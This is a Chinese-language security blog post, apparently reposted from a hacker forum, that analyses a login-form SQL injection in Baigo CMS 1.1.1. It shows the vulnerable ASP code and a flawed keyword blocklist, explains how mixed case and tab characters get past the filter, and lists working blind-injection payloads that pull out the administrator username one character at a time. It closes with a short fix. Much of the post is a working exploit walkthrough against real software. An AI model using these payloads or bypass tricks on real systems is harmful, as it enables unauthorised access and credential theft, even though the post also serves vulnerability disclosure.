Baigo CMS 1.1.1 登录框注入分析到利用

2010, September 11, 10:42 AM. 漏洞分析
Submitted by admin

/*作者:莫良 来自黑帽安全技术论坛 转载注明原创*/
0x01
baigo CMS 是采用 ASP + Access 开发的网站内容管理系统。只要采用 Windows 系统的服务器或支持 ASP + Access 的服务器均可安装部署(包括虚拟主机)。baigo CMS 同时还是一款开源、免费的网站内容管理系统。baigo 承诺该系统永久免费使用,并永久享受升级服务。0x02
我们来看登陆代码
文件:admin\logon.asp

<!--#include file="../baigo_inc/config.asp" -->
<!--#include file="inc/config_admin.asp" -->
<!--#include file="../baigo_inc/md5.asp" -->
<!--#include file="../baigo_inc/sql_char_query.asp" -->
<!--#include file="../baigo_inc/sql_char_form.asp" -->
<%
………省略
  admin_user_name = trim(request.form("admin_user_name"))
  admin_user_pass = trim(request.form("admin_user_pass"))
  sql = "select top 1 admin_user_pass,admin_user_class from admin_user_info where admin_user_name='" & admin_user_name & "'"
  rs_admin.open sql,conn_admin,1,1,1
………省略
%>

 

再看过滤代码
文件:/baigo_inc/sql_char_query.asp

 

<%
SQL_bad_str = "' |and |exec |insert |select |delete |update |count |* |% |chr |mid |master |truncate |char |declare "
SQL_bad_arr = split(SQL_bad_str,"|")
If Request.QueryString <> empty Then
  For Each SQL_Query_iii In Request.QueryString
    For SQL_bad_iii = 0 To Ubound(SQL_bad_arr)
      if InStr(Request.QueryString(SQL_Query_iii), SQL_bad_arr(SQL_bad_iii)) > 0 Then
      Response.Write "非法URL&nbsp;<font color=""red"">" & SQL_bad_arr(SQL_bad_iii) & "</font>"
      Response.end
      end If
    Next 
  Next
End If
%>

 

过滤了' |and |exec |insert |select |delete |update |count |* |% |chr |mid |master |truncate |char |declare,过滤了很多注入的关键字,但是真的安全了吗?我们可以看出上面过滤的关键字全是小写,但是SQL是忽略大小写的,我们可以用大写字符绕过,空格也可以用%09的tab符绕过。
0x03
本地架设IIS我们来进行注入测试
[attach=364]

打开127.0.0.1/admin/logon.asp
由于事先查看数据库结构,我们管理员账号处文本框输入
攻击代码:'  or (sElect top 1 len(admin_user_name) from admin_user_info)>7 And '1'='1
被过滤的字符我们用了大小写绕过,第一个单引号后面空格用了tab符替换绕过过滤,我们可以用记事本输入tad复制到文本框。And '1'='1用来闭合sql语句。
随意输入密码以后点击登录返回
[attach=365]

直到输入'    or (sElect top 1 len(admin_user_name) from admin_user_info)>4 And '1'='1提交以后,返回

[attach=366]

说明第一个管理员字段长度为5。我们来继续猜解内容。
提交'  or (sElect top 1 asc(mid(admin_user_name,1,1)) from admin_user_info)=97 And '1'='1
返回请输入正确的密码,得到管理员字段第一个字符为a,97是a的ascii码。
提交'  or (sElect top 1 asc(mid(admin_user_name,2,1)) from admin_user_info)= 100 And '1'='1
返回请输入正确的密码,得到管理员字段第一个字符为d,100是d的ascii码。
提交'  or (sElect top 1 asc(mid(admin_user_name,3,1)) from admin_user_info)= 109 And '1'='1
返回请输入正确的密码,得到管理员字段第一个字符为m,109是m的ascii码。
提交'  or (sElect top 1 asc(mid(admin_user_name,4,1)) from admin_user_info)= 105 And '1'='1
返回请输入正确的密码,得到管理员字段第一个字符为i,105是i 的ascii码。
提交'  or (sElect top 1 asc(mid(admin_user_name,5,1)) from admin_user_info)= 110 And '1'='1
返回请输入正确的密码,得到管理员字段第一个字符为i,110是n 的ascii码。
由此我们得出管理员账号为admin。我们也可以用
'  or (sElect top 1 asc(mid(admin_user_name,1,1)) from admin_user_info)>X And '1'='1或者
'  or (sElect top 1 asc(mid(admin_user_name,1,1)) from admin_user_info)BETWEEN 1 AND 100 And '1'='1
这样的语句来加快猜解速度。猜解密码也同上语句。就不说了。



0x04
修补方法也很简单 只需要将每个过滤的字段后面空格去掉,然后修改如下
if InStr(Request.QueryString(SQL_Query_iii), SQL_bad_arr(SQL_bad_iii)) > 0 Then
这句修改为
if InStr(lcase(Request.QueryString(SQL_Query_iii)), SQL_bad_arr(SQL_bad_iii)) > 0 Then
用lcase函数将字符强制转换为小写。

附件: ( bytes, 下载次数:)

Tags: baigo

« 上一篇 | 下一篇 »

只显示10条记录相关文章
baigo bbs&baigo cms (浏览: 14232, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):